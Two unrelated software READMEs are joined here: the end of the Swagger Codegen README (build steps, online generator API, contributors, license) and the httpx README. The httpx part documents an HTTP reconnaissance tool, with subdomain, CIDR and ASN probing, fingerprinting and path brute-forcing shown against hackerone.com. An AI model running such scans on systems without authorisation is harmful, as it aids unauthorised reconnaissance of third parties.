This will create the swagger-codegen library from source.
```
mvn package
```
Note! The templates are included in the library generated. If you want to modify the templates, you'll need to either repackage the library OR specify a path to your scripts
## Workflow integration
You can use the [swagger-codegen-maven-plugin](modules/swagger-codegen-maven-plugin/README.md) for integrating with your workflow, and generating any codegen target.
## GitHub Integration
To push the auto-generated SDK to GitHub, we provide `git_push.sh` to streamline the process. For example:
1) Create a new repository in GitHub (Ref: https://help.github.com/articles/creating-a-new-repository/)
2) Generate the SDK
```
java -jar modules/swagger-codegen-cli/target/swagger-codegen-cli.jar generate \
-i modules/swagger-codegen/src/test/resources/2_0/petstore.json -l perl \
--git-user-id "wing328" \
--git-repo-id "petstore-perl" \
--release-note "Github integration demo" \
-o /var/tmp/perl/petstore
```
3) Push the SDK to GitHub
```
cd /var/tmp/perl/petstore
/bin/sh ./git_push.sh
```
## Online generators
One can also generate API client or server using the online generators (https://generator.swagger.io)
For example, to generate Ruby API client, simply send the following HTTP request using curl:
```
curl -X POST -H "content-type:application/json" -d '{"swaggerUrl":"http://petstore.swagger.io/v2/swagger.json"}' https://generator.swagger.io/api/gen/clients/ruby
```
Then you will receieve a JSON response with the URL to download the zipped code.
To customize the SDK, you can `POST` to `https://generator.swagger.io/gen/clients/{language}` with the following HTTP body:
```
{
"options": {},
"swaggerUrl": "http://petstore.swagger.io/v2/swagger.json"
}
```
in which the `options` for a language can be obtained by submitting a `GET` request to `https://generator.swagger.io/api/gen/clients/{language}`:
For example, `curl https://generator.swagger.io/api/gen/clients/python` returns
```
{
"packageName":{
"opt":"packageName",
"description":"python package name (convention: snake_case).",
"type":"string",
"default":"swagger_client"
},
"packageVersion":{
"opt":"packageVersion",
"description":"python package version.",
"type":"string",
"default":"1.0.0"
},
"sortParamsByRequiredFlag":{
"opt":"sortParamsByRequiredFlag",
"description":"Sort method arguments to place required parameters before optional parameters.",
"type":"boolean",
"default":"true"
}
}
```
To set package name to `pet_store`, the HTTP body of the request is as follows:
```
{
"options": {
"packageName": "pet_store"
},
"swaggerUrl": "http://petstore.swagger.io/v2/swagger.json"
}
```
and here is the curl command:
```
curl -H "Content-type: application/json" -X POST -d '{"options": {"packageName": "pet_store"},"swaggerUrl": "http://petstore.swagger.io/v2/swagger.json"}' https://generator.swagger.io/api/gen/clients/python
```
Guidelines for Contribution
---------------------------
Please refer to this [page](https://github.com/swagger-api/swagger-codegen/blob/master/CONTRIBUTING.md)
Companies/Projects using Swagger Codegen
----------------------------------------
Here are some companies/projects using Swagger Codegen in production. To add your company/project to the list, please visit [README.md](https://github.com/swagger-api/swagger-codegen/blob/master/README.md) and click on the icon to edit the page.
- [Activehours](https://www.activehours.com/)
- [Acunetix](https://www.acunetix.com/)
- [Atlassian](https://www.atlassian.com/)
- [Autodesk](http://www.autodesk.com/)
- [Avenida Compras S.A.](https://www.avenida.com.ar)
- [AYLIEN](http://aylien.com/)
- [Balance Internet](https://www.balanceinternet.com.au/)
- [beemo](http://www.beemo.eu)
- [bitly](https://bitly.com)
- [Bufferfly Network](https://www.butterflynetinc.com/)
- [Cachet Financial](http://www.cachetfinancial.com/)
- [carpolo](http://www.carpolo.co/)
- [CloudBoost](https://www.CloudBoost.io/)
- [Conplement](http://www.conplement.de/)
- [Cummins](http://www.cummins.com/)
- [Cupix](http://www.cupix.com)
- [DBBest Technologies](https://www.dbbest.com)
- [DecentFoX](http://decentfox.com/)
- [DocuSign](https://www.docusign.com)
- [Ergon](http://www.ergon.ch/)
- [EMC](https://www.emc.com/)
- [eureka](http://eure.jp/)
- [everystory.us](http://everystory.us)
- [Expected Behavior](http://www.expectedbehavior.com/)
- [Fastly](https://www.fastly.com/)
- [Flat](https://flat.io)
- [Finder](http://en.finder.pl/)
- [FH Münster - University of Applied Sciences](http://www.fh-muenster.de)
- [Fotition](https://www.fotition.com/)
- [Gear Zero Network](https://www.gearzero.ca)
- [Germin8](http://www.germin8.com)
- [goTransverse](http://www.gotransverse.com/api)
- [GraphHopper](https://graphhopper.com/)
- [Gravitate Solutions](http://gravitatesolutions.com/)
- [HashData](http://www.hashdata.cn/)
- [Hewlett Packard Enterprise](https://hpe.com)
- [High Technologies Center](http://htc-cs.com)
- [IMS Health](http://www.imshealth.com/en/solution-areas/technology-and-applications)
- [Intent HQ](http://www.intenthq.com)
- [Interactive Intelligence](http://developer.mypurecloud.com/)
- [Kabuku](http://www.kabuku.co.jp/en)
- [Kurio](https://kurio.co.id)
- [Kuroi](http://kuroiwebdesign.com/)
- [Kuary](https://kuary.com/)
- [Kubernetes](https://kubernetes.io/)
- [LANDR Audio](https://www.landr.com/)
- [Lascaux](http://www.lascaux.it/)
- [Leica Geosystems AG](http://leica-geosystems.com)
- [LiveAgent](https://www.ladesk.com/)
- [LXL Tech](http://lxltech.com)
- [Lyft](https://www.lyft.com/developers)
- [MailMojo](https://mailmojo.no/)
- [Mindera](http://mindera.com/)
- [Mporium](http://mporium.com/)
- [Neverfail](https://neverfail.com/)
- [nViso](http://www.nviso.ch/)
- [Okiok](https://www.okiok.com)
- [Onedata](http://onedata.org)
- [OrderCloud.io](http://ordercloud.io)
- [OSDN](https://osdn.jp)
- [PagerDuty](https://www.pagerduty.com)
- [PagerTree](https://pagertree.com)
- [Pepipost](https://www.pepipost.com)
- [Plexxi](http://www.plexxi.com)
- [Pixoneye](http://www.pixoneye.com/)
- [PostAffiliatePro](https://www.postaffiliatepro.com/)
- [PracticeBird](https://www.practicebird.com/)
- [Prill Tecnologia](http://www.prill.com.br)
- [QAdept](http://qadept.com/)
- [QuantiModo](https://quantimo.do/)
- [QuickBlox](https://quickblox.com/)
- [Rapid7](https://rapid7.com/)
- [Reload! A/S](https://reload.dk/)
- [REstore](https://www.restore.eu)
- [Revault Sàrl](http://revault.ch)
- [Riffyn](https://riffyn.com)
- [Royal Bank of Canada (RBC)](http://www.rbc.com/canada.html)
- [Saritasa](https://www.saritasa.com/)
- [SCOOP Software GmbH](http://www.scoop-software.de)
- [Shine Solutions](https://shinesolutions.com/)
- [Simpfony](https://www.simpfony.com/)
- [Skurt](http://www.skurt.com)
- [Slamby](https://www.slamby.com/)
- [SmartRecruiters](https://www.smartrecruiters.com/)
- [snapCX](https://snapcx.io)
- [SPINEN](http://www.spinen.com)
- [SRC](https://www.src.si/)
- [Stingray](http://www.stingray.com)
- [StyleRecipe](http://stylerecipe.co.jp)
- [Svenska Spel AB](https://www.svenskaspel.se/)
- [TaskData](http://www.taskdata.com/)
- [ThoughtWorks](https://www.thoughtworks.com)
- [Upwork](http://upwork.com/)
- [uShip](https://www.uship.com/)
- [VMware](https://vmware.com/)
- [W.UP](http://wup.hu/?siteLang=en)
- [Wealthfront](https://www.wealthfront.com/)
- [Webever GmbH](https://www.webever.de/)
- [WEXO A/S](https://www.wexo.dk/)
- [Zalando](https://tech.zalando.com)
- [ZEEF.com](https://zeef.com/)
# Swagger Codegen Core Team
Swagger Codegen core team members are contributors who have been making significant contributions (review issues, fix bugs, make enhancements, etc) to the project on a regular basis.
## API Clients
| Languages | Core Team (join date) |
|:-------------|:-------------|
| ActionScript | |
| C++ | |
| C# | @jimschubert (2016/05/01) | |
| Clojure | @xhh (2016/05/01) |
| Dart | |
| Groovy | |
| Go | @guohuang (2016/05/01) @neilotoole (2016/05/01) |
| Java | @cbornet (2016/05/01) @xhh (2016/05/01) @epaul (2016/06/04) |
| Java (Spring Cloud) | @cbornet (2016/07/19) |
| NodeJS/Javascript | @xhh (2016/05/01) |
| ObjC | @mateuszmackowiak (2016/05/09) |
| Perl | @wing328 (2016/05/01) |
| PHP | @arnested (2016/05/01) |
| Python | @scottrw93 (2016/05/01) |
| Ruby | @wing328 (2016/05/01) @zlx (2016/05/22) |
| Scala | |
| Swift | @jaz-ah (2016/05/01) @Edubits (2016/05/01) |
| TypeScript (Node) | @Vrolijkx (2016/05/01) |
| TypeScript (Angular1) | @Vrolijkx (2016/05/01) |
| TypeScript (Angular2) | @Vrolijkx (2016/05/01) |
| TypeScript (Fetch) | |
## Server Stubs
| Languages | Core Team (date joined) |
|:------------- |:-------------|
| C# ASP.NET5 | @jimschubert (2016/05/01) |
| Go Server | @guohuang (2016/06/13) |
| Haskell Servant | |
| Java Spring Boot | @cbornet (2016/07/19) |
| Java Spring MVC | @kolyjjj (2016/05/01) @cbornet (2016/07/19) |
| Java JAX-RS | |
| Java Play Framework | |
| NancyFX | |
| NodeJS | @kolyjjj (2016/05/01) |
| PHP Lumen | @abcsum (2016/05/01) |
| PHP Silex | |
| PHP Slim | |
| Python Flask | |
| Ruby Sinatra | @wing328 (2016/05/01) | |
| Scala Scalatra | | |
| Scala Finch | @jimschubert (2017/01/28) |
## Template Creator
Here is a list of template creators:
* API Clients:
* Akka-Scala: @cchafer
* Bash: @bkryza
* C++ REST: @Danielku15
* C# (.NET 2.0): @who
* Clojure: @xhh
* Dart: @yissachar
* Elixir: @niku
* Groovy: @victorgit
* Go: @wing328
* Java (Feign): @davidkiss
* Java (Retrofit): @0legg
* Java (Retrofi2): @emilianobonassi
* Java (Jersey2): @xhh
* Java (okhttp-gson): @xhh
* Javascript/NodeJS: @jfiala
* Javascript (Closure-annotated Angular) @achew22
* JMeter @davidkiss
* Perl: @wing328
* Swift: @tkqubo
* Swift 3: @hexelon
* TypeScript (Node): @mhardorf
* TypeScript (Angular1): @mhardorf
* TypeScript (Fetch): @leonyu
* TypeScript (Angular2): @roni-frantchi
* TypeScript (jQuery): @bherila
* Server Stubs
* C# ASP.NET5: @jimschubert
* C# NancyFX: @mstefaniuk
* Erlang Server: @galaxie
* Go Server: @guohuang
* Haskell Servant: @algas
* Java MSF4J: @sanjeewa-malalgoda
* Java Spring Boot: @diyfr
* Java Undertow: @stevehu
* Java Play Framework: @JFCote
* JAX-RS RestEasy: @chameleon82
* JAX-RS CXF: @hiveship
* JAX-RS CXF (CDI): @nickcmaynard
* JAX-RS RestEasy (JBoss EAP): @jfiala
* PHP Lumen: @abcsum
* PHP Slim: @jfastnacht
* PHP Zend Expressive (with Path Handler): @Articus
* Ruby on Rails 5: @zlx
* Scala Finch: @jimschubert
* Documentation
* HTML Doc 2: @jhitchcock
* Confluence Wiki: @jhitchcock
## How to join the core team
Here are the requirements to become a core team member:
- rank within top 50 in https://github.com/swagger-api/swagger-codegen/graphs/contributors
- to contribute, here are some good [starting points](https://github.com/swagger-api/swagger-codegen/issues?q=is%3Aopen+is%3Aissue+label%3A%22Need+community+contribution%22)
- regular contributions to the project
- about 3 hours per week
- for contribution, it can be addressing issues, reviewing PRs submitted by others, submitting PR to fix bugs or make enhancements, etc
To join the core team, please reach out to [email protected] (@wing328) for more information.
To become a Template Creator, simply submit a PR for new API client (e.g. Rust, Elixir) or server stub (e.g. Ruby Grape) generator.
# Swagger Codegen Evangelist
Swagger Codegen Evangelist shoulders one or more of the following responsibilities:
- publishes articles on the benefit of Swagger Codegen
- organizes local Meetups
- presents the benefits of Swagger Codegen in local Meetups or conferences
- actively answers questions from others in [Github](https://github.com/swagger-api/swagger-codegen/issues), [StackOverflow](stackoverflow.com/search?q=%5Bswagger%5D)
- submits PRs to improve Swagger Codegen
- reviews PRs submitted by the others
- ranks within top 100 in the [contributor list](https://github.com/swagger-api/swagger-codegen/graphs/contributors)
If you want to be a Swagger Codegen Evangelist, please kindly apply by sending an email to [email protected] (@wing328)
### List of Swagger Codegen Evangelists
- Cliffano Subagio (@cliffano from Australia joined on Dec 9, 2016)
- [Building An AEM API Clients Ecosystem](http://www.slideshare.net/cliffano/building-an-aem-api-clients-ecosystem)
- [Adobe Marketing Cloud Community Expo](http://blog.cliffano.com/2016/11/10/adobe-marketing-cloud-community-expo/)
# License information on Generated Code
The Swagger Codegen project is intended as a benefit for users of the Swagger / Open API Specification. The project itself has the [License](#license) as specified. In addition, please understand the following points:
* The templates included with this project are subject to the [License](#license).
* Generated code is intentionally _not_ subject to the parent project license
When code is generated from this project, it shall be considered **AS IS** and owned by the user of the software. There are no warranties--expressed or implied--for generated code. You can do what you wish with it, and once generated, the code is your responsibility and subject to the licensing terms that you deem appropriate.
License
-------
Copyright 2017 SmartBear Software
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at [apache.org/licenses/LICENSE-2.0](http://www.apache.org/licenses/LICENSE-2.0)
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
---
<img src="http://swagger.io/wp-content/uploads/2016/02/logo.jpg"/>
|
<h1 align="center">
<img src="static/httpx-logo.png" alt="httpx" width="200px">
<br>
</h1>
<p align="center">
<a href="https://opensource.org/licenses/MIT"><img src="https://img.shields.io/badge/license-MIT-_red.svg"></a>
<a href="https://goreportcard.com/badge/github.com/projectdiscovery/httpx"><img src="https://goreportcard.com/badge/github.com/projectdiscovery/httpx"></a>
<a href="https://github.com/projectdiscovery/httpx/releases"><img src="https://img.shields.io/github/release/projectdiscovery/httpx"></a>
<a href="https://hub.docker.com/r/projectdiscovery/httpx"><img src="https://img.shields.io/docker/pulls/projectdiscovery/httpx.svg"></a>
<a href="https://twitter.com/pdiscoveryio"><img src="https://img.shields.io/twitter/follow/pdiscoveryio.svg?logo=twitter"></a>
<a href="https://discord.gg/projectdiscovery"><img src="https://img.shields.io/discord/695645237418131507.svg?logo=discord"></a>
</p>
<p align="center">
<a href="#features">Features</a> •
<a href="#installation-instructions">Installation</a> •
<a href="#usage">Usage</a> •
<a href="#running-httpx">Running httpx</a> •
<a href="#notes">Notes</a> •
<a href="https://discord.gg/projectdiscovery">Join Discord</a>
</p>
`httpx` is a fast and multi-purpose HTTP toolkit that allows running multiple probes using the [retryablehttp](https://github.com/projectdiscovery/retryablehttp-go) library. It is designed to maintain result reliability with an increased number of threads.
# Features
<h1 align="center">
<img src="https://user-images.githubusercontent.com/8293321/135731750-4c1d38b1-bd2a-40f9-88e9-3c4b9f6da378.png" alt="httpx" width="700px">
<br>
</h1>
- Simple and modular code base making it easy to contribute.
- Fast And fully configurable flags to probe multiple elements.
- Supports multiple HTTP based probings.
- Smart auto fallback from https to http as default.
- Supports hosts, URLs and CIDR as input.
- Handles edge cases doing retries, backoffs etc for handling WAFs.
### Supported probes
| Probes | Default check | Probes | Default check |
|-----------------|---------------|----------------|---------------|
| URL | true | IP | true |
| Title | true | CNAME | true |
| Status Code | true | Raw HTTP | false |
| Content Length | true | HTTP2 | false |
| TLS Certificate | true | HTTP Pipeline | false |
| CSP Header | true | Virtual host | false |
| Line Count | true | Word Count | true |
| Location Header | true | CDN | false |
| Web Server | true | Paths | false |
| Web Socket | true | Ports | false |
| Response Time | true | Request Method | true |
| Favicon Hash | false | Probe Status | false |
| Body Hash | true | Header Hash | true |
| Redirect chain | false | URL Scheme | true |
| JARM Hash | false | ASN | false |
# Installation Instructions
`httpx` requires **go1.20** to install successfully. Run the following command to get the repo:
```sh
go install -v github.com/projectdiscovery/httpx/cmd/httpx@latest
```
| :exclamation: **Disclaimer** |
|---------------------------------|
| **This project is in active development**. Expect breaking changes with releases. Review the changelog before updating. |
| This project was primarily built to be used as a standalone CLI tool. **Running it as a service may pose security risks.** It's recommended to use with caution and additional security measures. |
# Usage
```sh
httpx -h
```
This will display help for the tool. Here are all the switches it supports.
```console
Usage:
./httpx [flags]
Flags:
INPUT:
-l, -list string input file containing list of hosts to process
-rr, -request string file containing raw request
-u, -target string[] input target host(s) to probe
PROBES:
-sc, -status-code display response status-code
-cl, -content-length display response content-length
-ct, -content-type display response content-type
-location display response redirect location
-favicon display mmh3 hash for '/favicon.ico' file
-hash string display response body hash (supported: md5,mmh3,simhash,sha1,sha256,sha512)
-jarm display jarm fingerprint hash
-rt, -response-time display response time
-lc, -line-count display response body line count
-wc, -word-count display response body word count
-title display page title
-server, -web-server display server name
-td, -tech-detect display technology in use based on wappalyzer dataset
-method display http request method
-websocket display server using websocket
-ip display host ip
-cname display host cname
-asn display host asn information
-cdn display cdn in use
-probe display probe status
HEADLESS:
-ss, -screenshot enable saving screenshot of the page using headless browser
-system-chrome enable using local installed chrome for screenshot
MATCHERS:
-mc, -match-code string match response with specified status code (-mc 200,302)
-ml, -match-length string match response with specified content length (-ml 100,102)
-mlc, -match-line-count string match response body with specified line count (-mlc 423,532)
-mwc, -match-word-count string match response body with specified word count (-mwc 43,55)
-mfc, -match-favicon string[] match response with specified favicon hash (-mfc 1494302000)
-ms, -match-string string match response with specified string (-ms admin)
-mr, -match-regex string match response with specified regex (-mr admin)
-mcdn, -match-cdn string[] match host with specified cdn provider (incapsula, oracle, google, azure, cloudflare, cloudfront, fastly, akamai, sucuri, leaseweb)
-mrt, -match-response-time string match response with specified response time in seconds (-mrt '< 1')
-mdc, -match-condition string match response with dsl expression condition
EXTRACTOR:
-er, -extract-regex string[] display response content with matched regex
-ep, -extract-preset string[] display response content matched by a pre-defined regex (url,ipv4,mail)
FILTERS:
-fc, -filter-code string filter response with specified status code (-fc 403,401)
-fep, -filter-error-page filter response with ML based error page detection
-fl, -filter-length string filter response with specified content length (-fl 23,33)
-flc, -filter-line-count string filter response body with specified line count (-flc 423,532)
-fwc, -filter-word-count string filter response body with specified word count (-fwc 423,532)
-ffc, -filter-favicon string[] filter response with specified favicon hash (-mfc 1494302000)
-fs, -filter-string string filter response with specified string (-fs admin)
-fe, -filter-regex string filter response with specified regex (-fe admin)
-fcdn, -filter-cdn string[] filter host with specified cdn provider (google, leaseweb, stackpath, cloudfront, fastly)
-frt, -filter-response-time string filter response with specified response time in seconds (-frt '> 1')
-fdc, -filter-condition string filter response with dsl expression condition
RATE-LIMIT:
-t, -threads int number of threads to use (default 50)
-rl, -rate-limit int maximum requests to send per second (default 150)
-rlm, -rate-limit-minute int maximum number of requests to send per minute
MISCELLANEOUS:
-pa, -probe-all-ips probe all the ips associated with same host
-p, -ports string[] ports to probe (nmap syntax: eg http:1,2-10,11,https:80)
-path string path or list of paths to probe (comma-separated, file)
-tls-probe send http probes on the extracted TLS domains (dns_name)
-csp-probe send http probes on the extracted CSP domains
-tls-grab perform TLS(SSL) data grabbing
-pipeline probe and display server supporting HTTP1.1 pipeline
-http2 probe and display server supporting HTTP2
-vhost probe and display server supporting VHOST
-ldv, -list-dsl-variables list json output field keys name that support dsl matcher/filter
UPDATE:
-up, -update update httpx to latest version
-duc, -disable-update-check disable automatic httpx update check
OUTPUT:
-o, -output string file to write output results
-oa, -output-all filename to write output results in all formats
-sr, -store-response store http response to output directory
-srd, -store-response-dir string store http response to custom directory
-csv store output in csv format
-csvo, -csv-output-encoding string define output encoding
-json store output in JSONL(ines) format
-irr, -include-response include http request/response in JSON output (-json only)
-irrb, -include-response-base64 include base64 encoded http request/response in JSON output (-json only)
-include-chain include redirect http chain in JSON output (-json only)
-store-chain include http redirect chain in responses (-sr only)
CONFIGURATIONS:
-r, -resolvers string[] list of custom resolver (file or comma separated)
-allow string[] allowed list of IP/CIDR's to process (file or comma separated)
-deny string[] denied list of IP/CIDR's to process (file or comma separated)
-sni, -sni-name string custom TLS SNI name
-random-agent enable Random User-Agent to use (default true)
-H, -header string[] custom http headers to send with request
-http-proxy, -proxy string http proxy to use (eg http://127.0.0.1:8080)
-unsafe send raw requests skipping golang normalization
-resume resume scan using resume.cfg
-fr, -follow-redirects follow http redirects
-maxr, -max-redirects int max number of redirects to follow per host (default 10)
-fhr, -follow-host-redirects follow redirects on the same host
-vhost-input get a list of vhosts as input
-x string request methods to probe, use 'all' to probe all HTTP methods
-body string post body to include in http request
-s, -stream stream mode - start elaborating input targets without sorting
-sd, -skip-dedupe disable dedupe input items (only used with stream mode)
-ldp, -leave-default-ports leave default http/https ports in host header (eg. http://host:80 - https://host:443
-ztls use ztls library with autofallback to standard one for tls13
-no-decode avoid decoding body
-tlsi, -tls-impersonate enable random tls client (ja3) impersonation (experimental)
-no-stdin Disable Stdin processing
DEBUG:
-health-check, -hc run diagnostic check up
-debug display request/response content in cli
-debug-req display request content in cli
-debug-resp display response content in cli
-version display httpx version
-stats display scan statistic
-profile-mem string optional httpx memory profile dump file
-silent silent mode
-v, -verbose verbose mode
-si, -stats-interval int number of seconds to wait between showing a statistics update (default: 5)
-nc, -no-color disable colors in cli output
OPTIMIZATIONS:
-nf, -no-fallback display both probed protocol (HTTPS and HTTP)
-nfs, -no-fallback-scheme probe with protocol scheme specified in input
-maxhr, -max-host-error int max error count per host before skipping remaining path/s (default 30)
-ec, -exclude-cdn skip full port scans for CDNs (only checks for 80,443)
-retries int number of retries
-timeout int timeout in seconds (default 5)
-delay duration duration between each http request (eg: 200ms, 1s) (default -1ns)
-rsts, -response-size-to-save int max response size to save in bytes (default 2147483647)
-rstr, -response-size-to-read int max response size to read in bytes (default 2147483647)
```
# Running httpX
### URL Probe
This will run the tool against all the hosts and subdomains in `hosts.txt` and returns URLs running HTTP webserver.
```console
cat hosts.txt | httpx
__ __ __ _ __
/ /_ / /_/ /_____ | |/ /
/ __ \/ __/ __/ __ \| /
/ / / / /_/ /_/ /_/ / |
/_/ /_/\__/\__/ .___/_/|_| v1.1.1
/_/
projectdiscovery.io
[WRN] Use with caution. You are responsible for your actions
[WRN] Developers assume no liability and are not responsible for any misuse or damage.
https://mta-sts.managed.hackerone.com
https://mta-sts.hackerone.com
https://mta-sts.forwarding.hackerone.com
https://docs.hackerone.com
https://www.hackerone.com
https://resources.hackerone.com
https://api.hackerone.com
https://support.hackerone.com
```
### File Input
This will run the tool with the `-probe` flag against all the hosts in **hosts.txt** and return URLs with probed status.
```console
httpx -list hosts.txt -silent -probe
http://ns.hackerone.com [FAILED]
https://docs.hackerone.com [SUCCESS]
https://mta-sts.hackerone.com [SUCCESS]
https://mta-sts.managed.hackerone.com [SUCCESS]
http://email.hackerone.com [FAILED]
https://mta-sts.forwarding.hackerone.com [SUCCESS]
http://links.hackerone.com [FAILED]
https://api.hackerone.com [SUCCESS]
https://www.hackerone.com [SUCCESS]
http://events.hackerone.com [FAILED]
https://support.hackerone.com [SUCCESS]
https://gslink.hackerone.com [SUCCESS]
http://o1.email.hackerone.com [FAILED]
http://info.hackerone.com [FAILED]
https://resources.hackerone.com [SUCCESS]
http://o2.email.hackerone.com [FAILED]
http://o3.email.hackerone.com [FAILED]
http://go.hackerone.com [FAILED]
http://a.ns.hackerone.com [FAILED]
http://b.ns.hackerone.com [FAILED]
```
### CIDR Input
```console
echo 173.0.84.0/24 | httpx -silent
https://173.0.84.29
https://173.0.84.43
https://173.0.84.31
https://173.0.84.44
https://173.0.84.12
https://173.0.84.4
https://173.0.84.36
https://173.0.84.45
https://173.0.84.14
https://173.0.84.25
https://173.0.84.46
https://173.0.84.24
https://173.0.84.32
https://173.0.84.9
https://173.0.84.13
https://173.0.84.6
https://173.0.84.16
https://173.0.84.34
```
### AS Number Input
```console
echo AS14421 | httpx -silent
https://216.101.17.248
https://216.101.17.249
https://216.101.17.250
https://216.101.17.251
https://216.101.17.252
```
### Tool Chain
```console
subfinder -d hackerone.com -silent| httpx -title -tech-detect -status-code
__ __ __ _ __
/ /_ / /_/ /_____ | |/ /
/ __ \/ __/ __/ __ \| /
/ / / / /_/ /_/ /_/ / |
/_/ /_/\__/\__/ .___/_/|_|
/_/ v1.1.1
projectdiscovery.io
Use with caution. You are responsible for your actions
Developers assume no liability and are not responsible for any misuse or damage.
https://mta-sts.managed.hackerone.com [404] [Page not found · GitHub Pages] [Varnish,GitHub Pages,Ruby on Rails]
https://mta-sts.hackerone.com [404] [Page not found · GitHub Pages] [Varnish,GitHub Pages,Ruby on Rails]
https://mta-sts.forwarding.hackerone.com [404] [Page not found · GitHub Pages] [GitHub Pages,Ruby on Rails,Varnish]
https://docs.hackerone.com [200] [HackerOne Platform Documentation] [Ruby on Rails,jsDelivr,Gatsby,React,webpack,Varnish,GitHub Pages]
https://support.hackerone.com [301,302,301,200] [HackerOne] [Cloudflare,Ruby on Rails,Ruby]
https://resources.hackerone.com [301,301,404] [Sorry, no Folders found.]
```
### Error Page Classifier and Filtering
The Error Page Classifier and Filtering feature aims to add intelligence to the tool by enabling it to classify and filter out common error pages returned by web applications. It is an enhancement to the existing httpx capabilities and is geared towards reducing the noise in the results and helping users focus on what matters most.
```console
httpx -l urls.txt -path /v1/api -fep
__ __ __ _ __
/ /_ / /_/ /_____ | |/ /
/ __ \/ __/ __/ __ \| /
/ / / / /_/ /_/ /_/ / |
/_/ /_/\__/\__/ .___/_/|_|
/_/
projectdiscovery.io
[INF] Current httpx version v1.3.3 (latest)
https://scanme.sh/v1/api
```
Filtered error pages are stored to predefined file `filtered_error_page.json` in jsonline format when `-filter-error-page` option is used.
### Favicon Hash
```console
subfinder -d hackerone.com -silent | httpx -favicon
__ __ __ _ __
/ /_ / /_/ /_____ | |/ /
/ __ \/ __/ __/ __ \| /
/ / / / /_/ /_/ /_/ / |
/_/ /_/\__/\__/ .___/_/|_|
/_/ v1.1.5
projectdiscovery.io
Use with caution. You are responsible for your actions.
Developers assume no liability and are not responsible for any misuse or damage.
https://docs.hackerone.com/favicon.ico [595148549]
https://hackerone.com/favicon.ico [595148549]
https://mta-sts.managed.hackerone.com/favicon.ico [-1700323260]
https://mta-sts.forwarding.hackerone.com/favicon.ico [-1700323260]
https://support.hackerone.com/favicon.ico [-1279294674]
https://gslink.hackerone.com/favicon.ico [1506877856]
https://resources.hackerone.com/favicon.ico [-1840324437]
https://api.hackerone.com/favicon.ico [566218143]
https://mta-sts.hackerone.com/favicon.ico [-1700323260]
https://www.hackerone.com/favicon.ico [778073381]
```
### [JARM Fingerprint](https://github.com/salesforce/jarm)
```console
subfinder -d hackerone.com -silent | httpx -jarm
__ __ __ _ __
/ /_ / /_/ /_____ | |/ /
/ __ \/ __/ __/ __ \| /
/ / / / /_/ /_/ /_/ / |
/_/ /_/\__/\__/ .___/_/|_|
/_/ v1.2.1
projectdiscovery.io
Use with caution. You are responsible for your actions.
Developers assume no liability and are not responsible for any misuse or damage.
https://www.hackerone.com [29d3dd00029d29d00042d43d00041d5de67cc9954cc85372523050f20b5007]
https://mta-sts.hackerone.com [29d29d00029d29d00042d43d00041d2aa5ce6a70de7ba95aef77a77b00a0af]
https://mta-sts.managed.hackerone.com [29d29d00029d29d00042d43d00041d2aa5ce6a70de7ba95aef77a77b00a0af]
https://docs.hackerone.com [29d29d00029d29d00042d43d00041d2aa5ce6a70de7ba95aef77a77b00a0af]
https://support.hackerone.com [29d3dd00029d29d00029d3dd29d29d5a74e95248e58a6162e37847a24849f7]
https://api.hackerone.com [29d3dd00029d29d00042d43d00041d5de67cc9954cc85372523050f20b5007]
https://mta-sts.forwarding.hackerone.com [29d29d00029d29d00042d43d00041d2aa5ce6a70de7ba95aef77a77b00a0af]
https://resources.hackerone.com [2ad2ad0002ad2ad0002ad2ad2ad2ad043bfbd87c13813505a1b60adf4f6ff5]
```
### ASN Fingerprint
```console
subfinder -d hackerone.com -silent | httpx -asn
__ __ __ _ __
/ /_ / /_/ /_____ | |/ /
/ __ \/ __/ __/ __ \| /
/ / / / /_/ /_/ /_/ / |
/_/ /_/\__/\__/ .___/_/|_|
/_/ v1.2.1
projectdiscovery.io
Use with caution. You are responsible for your actions.
Developers assume no liability and are not responsible for any misuse or damage.
https://mta-sts.managed.hackerone.com [AS54113, FASTLY, US]
https://gslink.hackerone.com [AS16509, AMAZON-02, US]
https://www.hackerone.com [AS13335, CLOUDFLARENET, US]
https://mta-sts.forwarding.hackerone.com [AS54113, FASTLY, US]
https://resources.hackerone.com [AS16509, AMAZON-02, US]
https://support.hackerone.com [AS13335, CLOUDFLARENET, US]
https://mta-sts.hackerone.com [AS54113, FASTLY, US]
https://docs.hackerone.com [AS54113, FASTLY, US]
https://api.hackerone.com [AS13335, CLOUDFLARENET, US]
```
### File/Path Bruteforce
```console
httpx -l urls.txt -path /v1/api -sc
__ __ __ _ __
/ /_ / /_/ /_____ | |/ /
/ __ \/ __/ __/ __ \| /
/ / / / /_/ /_/ /_/ / |
/_/ /_/\__/\__/ .___/_/|_|
/_/ v1.1.5
projectdiscovery.io
Use with caution. You are responsible for your actions.
Developers assume no liability and are not responsible for any misuse or damage.
https://mta-sts.managed.hackerone.com/v1/api [404]
https://mta-sts.hackerone.com/v1/api [404]
https://mta-sts.forwarding.hackerone.com/v1/api [404]
https://docs.hackerone.com/v1/api [404]
https://api.hackerone.com/v1/api [401]
https://hackerone.com/v1/api [302]
https://support.hackerone.com/v1/api [404]
https://resources.hackerone.com/v1/api [301]
https://gslink.hackerone.com/v1/api [404]
http://www.hackerone.com/v1/api [301]
```
### Docker Run
```console
cat sub_domains.txt | docker run -i projectdiscovery/httpx
__ __ __ _ __
/ /_ / /_/ /_____ | |/ /
/ __ \/ __/ __/ __ \| /
/ / / / /_/ /_/ /_/ / |
/_/ /_/\__/\__/ .___/_/|_|
/_/ v1.1.2
projectdiscovery.io
Use with caution. You are responsible for your actions
Developers assume no liability and are not responsible for any misuse or damage.
https://mta-sts.forwarding.hackerone.com
https://mta-sts.hackerone.com
https://mta-sts.managed.hackerone.com
https://www.hackerone.com
https://api.hackerone.com
https://gslink.hackerone.com
https://resources.hackerone.com
https://docs.hackerone.com
https://support.hackerone.com
```
### Screenshot
Latest addition to the project, the addition of the `-screenshot` option in httpx, a powerful new feature that allows users to take screenshots of target URLs, pages, or endpoints along with the rendered DOM. This functionality enables the **visual content discovery process**, providing a comprehensive view of the target's visual appearance.
Rendered DOM body is also included in json line output when `-screenshot` option is used with `-json` option.
#### 🚩 Usage
To use the screenshot feature, simply add the `-screenshot` flag to your httpx command:
```console
httpx -screenshot -u https://example.com
```
🎯 Domain, Subdomain, and Path Support
